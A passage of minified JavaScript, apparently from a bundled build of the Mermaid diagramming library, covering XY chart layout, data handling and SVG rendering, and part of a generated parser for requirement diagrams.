strict";J1e();tye();aye();H6();j6=class{constructor(e,r,n,i){this.chartConfig=e;this.chartData=r;this.componentStore={title:eye(e,r,n,i),plot:iye(e,r,n),xAxis:qF(r.xAxis,e.xAxis,{titleColor:n.xAxisTitleColor,labelColor:n.xAxisLabelColor,tickColor:n.xAxisTickColor,axisLineColor:n.xAxisLineColor},i),yAxis:qF(r.yAxis,e.yAxis,{titleColor:n.yAxisTitleColor,labelColor:n.yAxisLabelColor,tickColor:n.yAxisTickColor,axisLineColor:n.yAxisLineColor},i)}}static{o(this,"Orchestrator")}calculateVerticalSpace(){let e=this.chartConfig.width,r=this.chartConfig.height,n=0,i=0,a=Math.floor(e*this.chartConfig.plotReservedSpacePercent/100),s=Math.floor(r*this.chartConfig.plotReservedSpacePercent/100),l=this.componentStore.plot.calculateSpace({width:a,height:s});e-=l.width,r-=l.height,l=this.componentStore.title.calculateSpace({width:this.chartConfig.width,height:r}),i=l.height,r-=l.height,this.componentStore.xAxis.setAxisPosition("bottom"),l=this.componentStore.xAxis.calculateSpace({width:e,height:r}),r-=l.height,this.componentStore.yAxis.setAxisPosition("left"),l=this.componentStore.yAxis.calculateSpace({width:e,height:r}),n=l.width,e-=l.width,e>0&&(a+=e,e=0),r>0&&(s+=r,r=0),this.componentStore.plot.calculateSpace({width:a,height:s}),this.componentStore.plot.setBoundingBoxXY({x:n,y:i}),this.componentStore.xAxis.setRange([n,n+a]),this.componentStore.xAxis.setBoundingBoxXY({x:n,y:i+s}),this.componentStore.yAxis.setRange([i,i+s]),this.componentStore.yAxis.setBoundingBoxXY({x:0,y:i}),this.chartData.plots.some(u=>VF(u))&&this.componentStore.xAxis.recalculateOuterPaddingToDrawBar()}calculateHorizontalSpace(){let e=this.chartConfig.width,r=this.chartConfig.height,n=0,i=0,a=0,s=Math.floor(e*this.chartConfig.plotReservedSpacePercent/100),l=Math.floor(r*this.chartConfig.plotReservedSpacePercent/100),u=this.componentStore.plot.calculateSpace({width:s,height:l});e-=u.width,r-=u.height,u=this.componentStore.title.calculateSpace({width:this.chartConfig.width,height:r}),n=u.height,r-=u.height,this.componentStore.xAxis.setAxisPosition("left"),u=this.componentStore.xAxis.calculateSpace({width:e,height:r}),e-=u.width,i=u.width,this.componentStore.yAxis.setAxisPosition("top"),u=this.componentStore.yAxis.calculateSpace({width:e,height:r}),r-=u.height,a=n+u.height,e>0&&(s+=e,e=0),r>0&&(l+=r,r=0),this.componentStore.plot.calculateSpace({width:s,height:l}),this.componentStore.plot.setBoundingBoxXY({x:i,y:a}),this.componentStore.yAxis.setRange([i,i+s]),this.componentStore.yAxis.setBoundingBoxXY({x:i,y:n}),this.componentStore.xAxis.setRange([a,a+l]),this.componentStore.xAxis.setBoundingBoxXY({x:0,y:a}),this.chartData.plots.some(h=>VF(h))&&this.componentStore.xAxis.recalculateOuterPaddingToDrawBar()}calculateSpace(){this.chartConfig.chartOrientation==="horizontal"?this.calculateHorizontalSpace():this.calculateVerticalSpace()}getDrawableElement(){this.calculateSpace();let e=[];this.componentStore.plot.setAxes(this.componentStore.xAxis,this.componentStore.yAxis);for(let r of Object.values(this.componentStore))e.push(...r.getDrawableElements());return e}}});var K6,oye=N(()=>{"use strict";sye();K6=class{static{o(this,"XYChartBuilder")}static build(e,r,n,i){return new j6(e,r,n,i).getDrawableElement()}}});function cye(){let t=mh(),e=Qt();return Vn(t.xyChart,e.themeVariables.xyChart)}function uye(){let t=Qt();return Vn(ur.xyChart,t.xyChart)}function hye(){return{yAxis:{type:"linear",title:"",min:1/0,max:-1/0},xAxis:{type:"band",title:"",categories:[]},title:"",plots:[]}}function KF(t){let e=Qt();return sr(t.trim(),e)}function kZe(t){lye=t}function EZe(t){t==="horizontal"?v4.chartOrientation="horizontal":v4.chartOrientation="vertical"}function SZe(t){pn.xAxis.title=KF(t.text)}function fye(t,e){pn.xAxis={type:"linear",title:pn.xAxis.title,min:t,max:e},Q6=!0}function CZe(t){pn.xAxis={type:"band",title:pn.xAxis.title,categories:t.map(e=>KF(e.text))},Q6=!0}function AZe(t){pn.yAxis.title=KF(t.text)}function _Ze(t,e){pn.yAxis={type:"linear",title:pn.yAxis.title,min:t,max:e},jF=!0}function DZe(t){let e=Math.min(...t),r=Math.max(...t),n=ry(pn.yAxis)?pn.yAxis.min:1/0,i=ry(pn.yAxis)?pn.yAxis.max:-1/0;pn.yAxis={type:"linear",title:pn.yAxis.title,min:Math.min(n,e),max:Math.max(i,r)}}function dye(t){let e=[];if(t.length===0)return e;if(!Q6){let r=ry(pn.xAxis)?pn.xAxis.min:1/0,n=ry(pn.xAxis)?pn.xAxis.max:-1/0;fye(Math.min(r,1),Math.max(n,t.length))}if(jF||DZe(t),U6(pn.xAxis)&&(e=pn.xAxis.categories.map((r,n)=>[r,t[n]])),ry(pn.xAxis)){let r=pn.xAxis.min,n=pn.xAxis.max,i=(n-r)/(t.length-1),a=[];for(let s=r;s<=n;s+=i)a.push(`${s}`);e=a.map((s,l)=>[s,t[l]])}return e}function pye(t){return XF[t===0?0:t%XF.length]}function LZe(t,e){let r=dye(e);pn.plots.push({type:"line",strokeFill:pye(y4),strokeWidth:2,data:r}),y4++}function RZe(t,e){let r=dye(e);pn.plots.push({type:"bar",fill:pye(y4),data:r}),y4++}function NZe(){if(pn.plots.length===0)throw Error("No Plot to render, please provide a plot with some data");return pn.title=Pr(),K6.build(v4,pn,x4,lye)}function MZe(){return x4}function IZe(){return v4}function OZe(){return pn}var y4,lye,v4,x4,pn,XF,Q6,jF,PZe,mye,gye=N(()=>{"use strict";qn();La();Oy();tr();gr();ci();oye();H6();y4=0,v4=uye(),x4=cye(),pn=hye(),XF=x4.plotColorPalette.split(",").map(t=>t.trim()),Q6=!1,jF=!1;o(cye,"getChartDefaultThemeConfig");o(uye,"getChartDefaultConfig");o(hye,"getChartDefaultData");o(KF,"textSanitizer");o(kZe,"setTmpSVGG");o(EZe,"setOrientation");o(SZe,"setXAxisTitle");o(fye,"setXAxisRangeData");o(CZe,"setXAxisBand");o(AZe,"setYAxisTitle");o(_Ze,"setYAxisRangeData");o(DZe,"setYAxisRangeFromPlotData");o(dye,"transformDataWithoutCategory");o(pye,"getPlotColorFromPalette");o(LZe,"setLineData");o(RZe,"setBarData");o(NZe,"getDrawableElem");o(MZe,"getChartThemeConfig");o(IZe,"getChartConfig");o(OZe,"getXYChartData");PZe=o(function(){Sr(),y4=0,v4=uye(),pn=hye(),x4=cye(),XF=x4.plotColorPalette.split(",").map(t=>t.trim()),Q6=!1,jF=!1},"clear"),mye={getDrawableElem:NZe,clear:PZe,setAccTitle:Rr,getAccTitle:Mr,setDiagramTitle:$r,getDiagramTitle:Pr,getAccDescription:Or,setAccDescription:Ir,setOrientation:EZe,setXAxisTitle:SZe,setXAxisRangeData:fye,setXAxisBand:CZe,setYAxisTitle:AZe,setYAxisRangeData:_Ze,setLineData:LZe,setBarData:RZe,setTmpSVGG:kZe,getChartThemeConfig:MZe,getChartConfig:IZe,getXYChartData:OZe}});var BZe,yye,vye=N(()=>{"use strict";pt();tu();Ei();BZe=o((t,e,r,n)=>{let i=n.db,a=i.getChartThemeConfig(),s=i.getChartConfig(),l=i.getXYChartData().plots[0].data.map(T=>T[1]);function u(T){return T==="top"?"text-before-edge":"middle"}o(u,"getDominantBaseLine");function h(T){return T==="left"?"start":T==="right"?"end":"middle"}o(h,"getTextAnchor");function f(T){return`translate(${T.x}, ${T.y}) rotate(${T.rotation||0})`}o(f,"getTextTransformation"),X.debug(`Rendering xychart chart +`+t);let d=aa(e),p=d.append("g").attr("class","main"),m=p.append("rect").attr("width",s.width).attr("height",s.height).attr("class","background");mn(d,s.height,s.width,!0),d.attr("viewBox",`0 0 ${s.width} ${s.height}`),m.attr("fill",a.backgroundColor),i.setTmpSVGG(d.append("g").attr("class","mermaid-tmp-group"));let g=i.getDrawableElem(),y={};function v(T){let S=p,w="";for(let[k]of T.entries()){let A=p;k>0&&y[w]&&(A=y[w]),w+=T[k],S=y[w],S||(S=y[w]=A.append("g").attr("class",T[k]))}return S}o(v,"getGroup");for(let T of g){if(T.data.length===0)continue;let S=v(T.groupTexts);switch(T.type){case"rect":if(S.selectAll("rect").data(T.data).enter().append("rect").attr("x",w=>w.x).attr("y",w=>w.y).attr("width",w=>w.width).attr("height",w=>w.height).attr("fill",w=>w.fill).attr("stroke",w=>w.strokeFill).attr("stroke-width",w=>w.strokeWidth),s.showDataLabel)if(s.chartOrientation==="horizontal"){let A=function(I,L){let{data:E,label:D}=I;return L*D.length*.7<=E.width-10};var x=A;o(A,"fitsHorizontally");let w=.7,k=T.data.map((I,L)=>({data:I,label:l[L].toString()})).filter(I=>I.data.width>0&&I.data.height>0),C=k.map(I=>{let{data:L}=I,E=L.height*.7;for(;!A(I,E)&&E>0;)E-=1;return E}),R=Math.floor(Math.min(...C));S.selectAll("text").data(k).enter().append("text").attr("x",I=>I.data.x+I.data.width-10).attr("y",I=>I.data.y+I.data.height/2).attr("text-anchor","end").attr("dominant-baseline","middle").attr("fill","black").attr("font-size",`${R}px`).text(I=>I.label)}else{let A=function(I,L,E){let{data:D,label:_}=I,M=L*_.length*.7,P=D.x+D.width/2,B=P-M/2,F=P+M/2,G=B>=D.x&&F<=D.x+D.width,$=D.y+E+L<=D.y+D.height;return G&&$};var b=A;o(A,"fitsInBar");let w=10,k=T.data.map((I,L)=>({data:I,label:l[L].toString()})).filter(I=>I.data.width>0&&I.data.height>0),C=k.map(I=>{let{data:L,label:E}=I,D=L.width/(E.length*.7);for(;!A(I,D,10)&&D>0;)D-=1;return D}),R=Math.floor(Math.min(...C));S.selectAll("text").data(k).enter().append("text").attr("x",I=>I.data.x+I.data.width/2).attr("y",I=>I.data.y+10).attr("text-anchor","middle").attr("dominant-baseline","hanging").attr("fill","black").attr("font-size",`${R}px`).text(I=>I.label)}break;case"text":S.selectAll("text").data(T.data).enter().append("text").attr("x",0).attr("y",0).attr("fill",w=>w.fill).attr("font-size",w=>w.fontSize).attr("dominant-baseline",w=>u(w.verticalPos)).attr("text-anchor",w=>h(w.horizontalPos)).attr("transform",w=>f(w)).text(w=>w.text);break;case"path":S.selectAll("path").data(T.data).enter().append("path").attr("d",w=>w.path).attr("fill",w=>w.fill?w.fill:"none").attr("stroke",w=>w.strokeFill).attr("stroke-width",w=>w.strokeWidth);break}}},"draw"),yye={draw:BZe}});var xye={};dr(xye,{diagram:()=>FZe});var FZe,bye=N(()=>{"use strict";K1e();gye();vye();FZe={parser:j1e,db:mye,renderer:yye}});var QF,kye,Eye=N(()=>{"use strict";QF=(function(){var t=o(function(fe,xe,W,he){for(W=W||{},he=fe.length;he--;W[fe[he]]=xe);return W},"o"),e=[1,3],r=[1,4],n=[1,5],i=[1,6],a=[5,6,8,9,11,13,21,22,23,24,41,42,43,44,45,46,54,72,74,77,89,90],s=[1,22],l=[2,7],u=[1,26],h=[1,27],f=[1,28],d=[1,29],p=[1,33],m=[1,34],g=[1,35],y=[1,36],v=[1,37],x=[1,38],b=[1,24],T=[1,31],S=[1,32],w=[1,30],k=[1,39],A=[1,40],C=[5,8,9,11,13,21,22,23,24,41,42,43,44,45,46,54,72,74,77,89,90],R=[1,61],I=[89,90],L=[5,8,9,11,13,21,22,23,24,27,29,41,42,43,44,45,46,54,61,63,72,74,75,76,77,80,81,82,83,84,85,86,87,88,89,90],E=[27,29],D=[1,70],_=[1,71],O=[1,72],M=[1,73],P=[1,74],B=[1,75],F=[1,76],G=[1,83],$=[1,80],U=[1,84],j=[1,85],te=[1,86],Y=[1,87],oe=[1,88],J=[1,89],ue=[1,90],re=[1,91],ee=[1,92],Z=[5,8,9,11,13,21,22,23,24,27,41,42,43,44,45,46,54,72,74,75,76,77,80,81,82,83,84,85,86,87,88,89,90],K=[63,64],ae=[1,101],Q=[5,8,9,11,13,21,22,23,24,41,42,43,44,45,46,54,72,74,76,77,89,90],de=[5,8,9,11,13,21,22,23,24,41,42,43,44,45,46,54,72,74,75,76,77,80,81,82,83,84,85,86,87,88,89,90],ne=[1,110],Te=[1,106],q=[1,107],Ve=[1,108],pe=[1,109],Be=[1,111],Ye=[1,116],He=[1,117],Le=[1,114],Ie=[1,115],Ne={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,directive:4,NEWLINE:5,RD:6,diagram:7,EOF:8,acc_title:9,acc_title_value:10,acc_descr:11,acc_descr_value:12,acc_descr_multiline_value:13,requirementDef:14,elementDef:15,relationshipDef:16,direction:17,styleStatement:18,classDefStatement:19,classStatement:20,direction_tb:21,direction_bt:22,direction_rl:23,direction_lr:24,requirementType:25,requirementName:26,STRUCT_START:27,requirementBody:28,STYLE_SEPARATOR:29,idList:30,ID:31,COLONSEP:32,id:33,TEXT:34,text:35,RISK:36,riskLevel:37,VERIFYMTHD:38,verifyType:39,STRUCT_STOP:40,REQUIREMENT:41,FUNCTIONAL_REQUIREMENT:42,INTERFACE_REQUIREMENT:43,PERFORMANCE_REQUIREMENT:44,PHYSICAL_REQUIREMENT:45,DESIGN_CONSTRAINT:46,LOW_RISK:47,MED_RISK:48,HIGH_RISK:49,VERIFY_ANALYSIS:50,VERIFY_DEMONSTRATION:51,VERIFY_INSPECTION:52,VERIFY_TEST:53,ELEMENT:54,elementName:55,elementBody:56,TYPE:57,type:58,DOCREF:59,ref:60,END_ARROW_L:61,relationship:62,LINE:63,END_ARROW_R:64,CONTAINS:65,COPIES:66,DERIVES:67,SATISFIES:68,VERIFIES:69,REFINES:70,TRACES:71,CLASSDEF:72,stylesOpt:73,CLASS:74,ALPHA:75,COMMA:76,STYLE:77,style:78,styleComponent:79,NUM:80,COLON:81,UNIT:82,SPACE:83,BRKT:84,PCT:85,MINUS:86,LABEL:87,SEMICOLON:88,unqString:89,qString:90,$accept:0,$end:1},terminals_:{2:"error",5:"NEWLINE",6:"RD",8:"EOF",9:"acc_title",10:"acc_title_value",11:"acc_descr",12:"acc_descr_value",13:"acc_descr_multiline_value",21:"direction_tb",22:"direction_bt",23:"direction_rl",24:"direction_lr",27:"STRUCT_START",29:"STYLE_SEPARATOR",31:"ID",32:"COLONSEP",34:"TEXT",36:"RISK",38:"VERIFYMTHD",40:"STRUCT_STOP",41:"REQUIREMENT",42:"FUNCTIONAL_REQUIREMENT",43:"INTERFACE_REQUIREMENT",44:"PERFORMANCE_REQUIREMENT",45:"PHYSICAL_REQUIREMENT",46:"DESIGN_CONSTRAINT",47:"LOW_RISK",48:"MED_RISK",49:"HIGH_RISK",50:"VERIFY_ANALYSIS",51:"VERIFY_DEMONSTRATION",52:"VERIFY_INSPECTION",53:"VERIFY_TEST",54:"ELEMENT",57:"TYPE",59:"DOCREF",61:"END_ARROW_L",63:"LINE",64:"END_ARROW_R",65:"CONTAINS",66:"COPIES",67:"DERIVES",68:"SATISFIES",69:"VERIFIES",70:"REFINES",71:"TRACES",72:"CLASSDEF",74:"CLASS",75:"ALPHA",76:"COMMA",77:"STYLE",80:"NUM",81:"COLON",82:"UNIT",83:"SPACE",84:"BRKT",85:"PCT",86:"MINUS",87:"LABEL",88:"SEMICOLON",89:"unqString",90:"qString"},productions_:[0,[3,3],[3,2],[3,4],[4,2],[4,2],[4,1],[7,0],[7,2],[7,2],[7,2],[7,2],[7,2],[7,2],[7,2],[7,2],[7,2],[17,1],[17,1],[17,1],[17,1],[14,5],[14,7],[28,5],[28,5],[28,5],[28,5],[28,2],[28,1],[25,1],[25,1],[25,1],[25,1],[25,1],[25,1],[37,1],[37,1],[37,1],[39,1],[39,1],[39,1],[39,1],[15,5],[15,7],[56,5],[56,5],[56,2],[56,1],[16,5],[16,5],[62,1],[62,1],[62,1],[62,1],[62,1],[62,1],[62,1],[19,3],[20,3],[20,3],[30,1],[30,3],[30,1],[30,3],[18,3],[73,1],[73,3],[78,1],[78,2],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[79,1],[26,1],[26,1],[33,1],[33,1],[35,1],[35,1],[55,1],[55,1],[58,1],[58,1],[60,1],[60,1]],performAction:o(function(xe,W,he,z,se,le,ke){var ve=le.length-1;switch(se){case 4:this.$=le[ve].trim(),z.setAccTitle(this.$);break;case 5:case 6:this.$=le[ve].trim(),z.setAccDescription(this.$);break;case 7:this.$=[];break;case 17:z.setDirection("TB");break;case 18:z.setDirection("BT");break;case 19:z.setDirection("RL");break;case 20:z.setDirection("LR");break;case 21:z.addRequirement(le[ve-3],le[ve-4]);break;case 22:z.addRequirement(le[ve-5],le[ve-6]),z.setClass([le[ve-5]],le[ve-3]);break;case 23:z.setNewReqId(le[ve-2]);break;case 24:z.setNewReqText(le[ve-2]);break;case 25:z.setNewReqRisk(le[ve-2]);break;case 26:z.setNewReqVerifyMethod(le[ve-2]);break;case 29:this.$=z.RequirementType.REQUIREMENT;break;case 30:this.$=z.RequirementType.FUNCTIONAL_REQUIREMENT;break;case 31:this.$=z.RequirementType.INTERFACE_REQUIREMENT;break;case 32:this.$=z.RequirementType.PERFORMANCE_REQUIREMENT;break;case 33:this.$=z.RequirementType.PHYSICAL_REQUIREMENT;break;case 34:this.$=z.RequirementType.DESIGN_CONSTRAINT;break;case 35:this.$=z.RiskLevel.LOW_RISK;break;case 36:this.$=z.RiskLevel.MED_RISK;break;case 37:this.$=z.RiskLevel.HIGH_RISK;break;case 38:this.$=z.VerifyType.VERIFY_ANALYSIS;break;case 39:this.$=z.VerifyType.VERIFY_DEMONSTRATION;break;case 40:this.$=z.VerifyType.VERIFY_INSPECTION;break;case 41:this.$=z.VerifyType.VERIFY_TEST;break;case 42:z.addElement(le[ve-3]);break;case 43:z.addElement(le[ve-5]),z.setClass([le[ve-5]],le[ve-3]);break;case 44:z.setNewElementType(le[ve-2]);break;case 45:z.setNewElementDocRef(le[ve-2]);break;case 48:z.addRelationship(le[ve-2],le[ve],le[ve-4]);break;case 49:z.addRelationship(le[ve-2],le[ve-4],le[ve]);break;case 50:this.$=z.Relationships.CONTAINS;break;case 51:this.$=z.Relationships.COPIES;break;case 52:this.$=z.Relationships.DERIVES;break;case 53:this.$=z.Relationships.SATISFIES;break;case 54:this.$=z.Relationships.VERIFIES;break;case 55:this.$=z.Relationships.REFINES;break;case 56:this.$=z.Relationships.TRACES;break;case 57:this.$=le[ve-2],z.defineClass(le[ve-1],le[ve]);break;case 58:z.setClass(le[ve-1],le[ve]);break;case 59:z.setClass([le[ve-2]],le[ve]);break;case 60:case 62:this.$=[le[ve]];break;case 61:case 63:this.$=le[ve-2].concat([le[ve]]);break;case 64:this.$=le[ve-2],z.setCssStyle(le[ve-1],le[ve]);break;case 65:this.$=[le[ve]];break;case 66:le[ve-2].push(le[ve]),this.$=le[ve-2];break;case 68:this.$=le[ve-1]+le[ve];break}},"anonymous"),table:[{3:1,4:2,6:e,9:r,11:n,13:i},{1:[3]},{3:8,4:2,5:[1,7],6:e,9:r,11:n,13:i},{5:[1,9]},{10:[1,10]},{12:[1,11]},t(a,[2,6]),{3:12,4:2,6:e,9:r,11:n,13:i},{1:[2,2]},{4:17,5:s,7:13,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},t(a,[2,4]),t(a,[2,5]),{1:[2,1]},{8:[1,41]},{4:17,5:s,7:42,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:43,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:44,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:45,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:46,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:47,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:48,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:49,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:50,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{26:51,89:[1,52],90:[1,53]},{55:54,89:[1,55],90:[1,56]},{29:[1,59],61:[1,57],63:[1,58]},t(C,[2,17]),t(C,[2,18]),t(C,[2,19]),t(C,[2,20]),{30:60,33:62,75:R,89:k,90:A},{30:63,33:62,75:R,89:k,90:A},{30:64,33:62,75:R,89:k,90:A},t(I,[2,29]),t(I,[2,30]),t(I,[2,31]),t(I,[2,32]),t(I,[2,33]),t(I,[2,34]),t(L,[2,81]),t(L,[2,82]),{1:[2,3]},{8:[2,8]},{8:[2,9]},{8:[2,10]},{8:[2,11]},{8:[2,12]},{8:[2,13]},{8:[2,14]},{8:[2,15]},{8:[2,16]},{27:[1,65],29:[1,66]},t(E,[2,79]),t(E,[2,80]),{27:[1,67],29:[1,68]},t(E,[2,85]),t(E,[2,86]),{62:69,65:D,66:_,67:O,68:M,69:P,70:B,71:F},{62:77,65:D,66:_,67:O,68:M,69:P,70:B,71:F},{30:78,33:62,75:R,89:k,90:A},{73:79,75:G,76:$,78:81,79:82,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee},t(Z,[2,60]),t(Z,[2,62]),{73:93,75:G,76:$,78:81,79:82,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee},{30:94,33:62,75:R,76:$,89:k,90:A},{5:[1,95]},{30:96,33:62,75:R,89:k,90:A},{5:[1,97]},{30:98,33:62,75:R,89:k,90:A},{63:[1,99]},t(K,[2,50]),t(K,[2,51]),t(K,[2,52]),t(K,[2,53]),t(K,[2,54]),t(K,[2,55]),t(K,[2,56]),{64:[1,100]},t(C,[2,59],{76:$}),t(C,[2,64],{76:ae}),{33:103,75:[1,102],89:k,90:A},t(Q,[2,65],{79:104,75:G,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee}),t(de,[2,67]),t(de,[2,69]),t(de,[2,70]),t(de,[2,71]),t(de,[2,72]),t(de,[2,73]),t(de,[2,74]),t(de,[2,75]),t(de,[2,76]),t(de,[2,77]),t(de,[2,78]),t(C,[2,57],{76:ae}),t(C,[2,58],{76:$}),{5:ne,28:105,31:Te,34:q,36:Ve,38:pe,40:Be},{27:[1,112],76:$},{5:Ye,40:He,56:113,57:Le,59:Ie},{27:[1,118],76:$},{33:119,89:k,90:A},{33:120,89:k,90:A},{75:G,78:121,79:82,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee},t(Z,[2,61]),t(Z,[2,63]),t(de,[2,68]),t(C,[2,21]),{32:[1,122]},{32:[1,123]},{32:[1,124]},{32:[1,125]},{5:ne,28:126,31:Te,34:q,36:Ve,38:pe,40:Be},t(C,[2,28]),{5:[1,127]},t(C,[2,42]),{32:[1,128]},{32:[1,129]},{5:Ye,40:He,56:130,57:Le,59:Ie},t(C,[2,47]),{5:[1,131]},t(C,[2,48]),t(C,[2,49]),t(Q,[2,66],{79:104,75:G,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee}),{33:132,89:k,90:A},{35:133,89:[1,134],90:[1,135]},{37:136,47:[1,137],48:[1,138],49:[1,139]},{39:140,50:[1,141],51:[1,142],52:[1,143],53:[1,144]},t(C,[2,27]),{5:ne,28:145,31:Te,34:q,36:Ve,38:pe,40:Be},{58:146,89:[1,147],90:[1,148]},{60:149,89:[1,150],90:[1,151]},t(C,[2,46]),{5:Ye,40:He,56:152,57:Le,59:Ie},{5:[1,153]},{5:[1,154]},{5:[2,83]},{5:[2,84]},{5:[1,155]},{5:[2,35]},{5:[2,36]},{5:[2,37]},{5:[1,156]},{5:[2,38]},{5:[2,39]},{5:[2,40]},{5:[2,41]},t(C,[2,22]),{5:[1,157]},{5:[2,87]},{5:[2,88]},{5:[1,158]},{5:[2,89]},{5:[2,90]},t(C,[2,43]),{5:ne,28:159,31:Te,34:q,36:Ve,38:pe,40:Be},{5:ne,28:160,31:Te,34:q,36:Ve,38:pe,40:Be},{5:ne,28:161,31:Te,34:q,36:Ve,38:pe,40:Be},{5:ne,28:162,31:Te,34:q,36:Ve,38:pe,40:Be},{5:Ye,40:He,56:163,57:Le,59:Ie},{5:Ye,40:He,56:164,57:Le,59:Ie},t(C,[2,23]),t(C,[2,24]),t(C,[2,25]),t(C,[2,26]),t(C,[2,44]),t(C,[2,45])],defaultActions:{8:[2,2],12:[2,1],41:[2,3],42:[2,8],43:[2,9],44:[2,10],45:[2,11],46:[2,12],47:[2,13],48:[2,14],49:[2,15],50:[2,16],134:[2,83],135:[2,84],137:[2,35],138:[2,36],139:[2,37],141:[2,38],142:[2,39],143:[2,40],144:[2,41],147:[2,87],148:[2,88],150:[2,89],151:[2,90]},parseError:o(function(xe,W){if(W.recoverable)this.trace(xe);else{var he=new Error(xe);throw he.hash=W,he}},"parseError"),parse:o(function(xe){var W=this,he=[0],z=[],se=[null],le=[],ke=this.table,ve="",ye=0,Re=0,_e=0,ze=2,Ke=1,xt=le.slice.call(arguments,1),We=Object.create(this.lexer),Oe={yy:{}};for(var et in this.yy)Object.prototype.hasOwnProperty.call(this.yy,et)&&(Oe.yy[et]=this.yy[et]);We.setInput(xe,Oe.yy),Oe.yy.lexer=We,Oe.yy.parser=this,typeof We.yylloc>"u"&&(We.yylloc={});var Ue=We.yylloc;le.push(Ue);var lt=We.options&&We.options.ranges;typeof Oe.yy.parseError=="function"?this.parseError=Oe.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function Gt(ar){he.length=he.length-2*ar,se.length=se.length-ar,le.length=le.length-ar}o(Gt,"popStack");function vt(){var ar;return ar=z.pop()||We.lex()||Ke,typeof ar!="number"&&(ar instanceof Array&&(z=ar,ar=z.pop()),ar=W.symbols_[ar]||ar),ar}o(vt,"lex");for(var Lt,dt,nt,bt,wt,yt,ft={},Ur,_t,bn,Br;;){if(nt=he[he.length-1],this.defaultActions[nt]?bt=this.defaultActions[nt]:((Lt===null||typeof Lt>"u")&&(Lt=vt()),bt=ke[nt]&&ke[nt][Lt]),typeof bt>"u"||!bt.length||!bt[0]){var cr="";Br=[];for(Ur in ke[nt])this.terminals_[Ur]&&Ur>ze&&Br.push("'"+this.terminals_[Ur]+"'");We.showPosition?cr="Parse error on line "+(ye+1)+`: +`+We.showPosition()+` +Expecting `+Br.join(", ")+", got '"+(this.terminals_[Lt]||Lt)+"'":cr="Parse error on line "+(ye+1)+": Unexpected "+(Lt==Ke?"end of input":"'"+(this.terminals_[Lt]||Lt)+"'"),this.parseError(cr,{text:We.match,token:this.terminals_[Lt]||Lt,line:We.yylineno,loc:Ue,expected:Br})}if(bt[0]instanceof Array&&bt.length>1)throw new Error("Parse Error: multiple actions possible at state: "+nt+", token: "+Lt);switch(bt[0]){case 1:he.push(Lt),se.push(We.yytext),le.push(We.yylloc),he.push(bt[1]),Lt=null,dt?(Lt=dt,dt=null):(Re=We.yyleng,ve=We.yytext,ye=We.yylineno,Ue=We.yylloc,_e>0&&_e--);break;case 2:if(_t=this.productions_[bt[1]][1],ft.$=se[se.length-_t],ft._$={first_line:le[le.length-(_t||1)].first_line,last_line:le[le.length-1].last_line,first_column:le[le.length-(_t||1)].first_column,last_column:le[le.length-1].last_column},lt&&(ft._$.range=[le[le.length-(_t||1)].range[0],le[le.length-1].range[1]]),yt=this.performAction.apply(ft,[ve,Re,ye,Oe.yy,bt[1],se,le].concat(xt)),typeof yt<"u")return yt;_t&&(he=he.slice(0,-1*_t*2),se=se.slice(0,-1*_t),le=le.slice(0,-1*_t)),he.push(this.productions_[bt[1]][0]),se.push(ft.$),le.push(ft._$),bn=ke[he[he.length-2]][he[he.length-1]],he.push(bn);break;case 3:return!0}}return!0},"parse")},Ce=(function(){var fe={EOF:1,parseError:o(function(W,he){if(this.yy.parser)this.yy.parser.parseError(W,he);else throw new Error(W)},"parseError"),setInput:o(function(xe,W){return 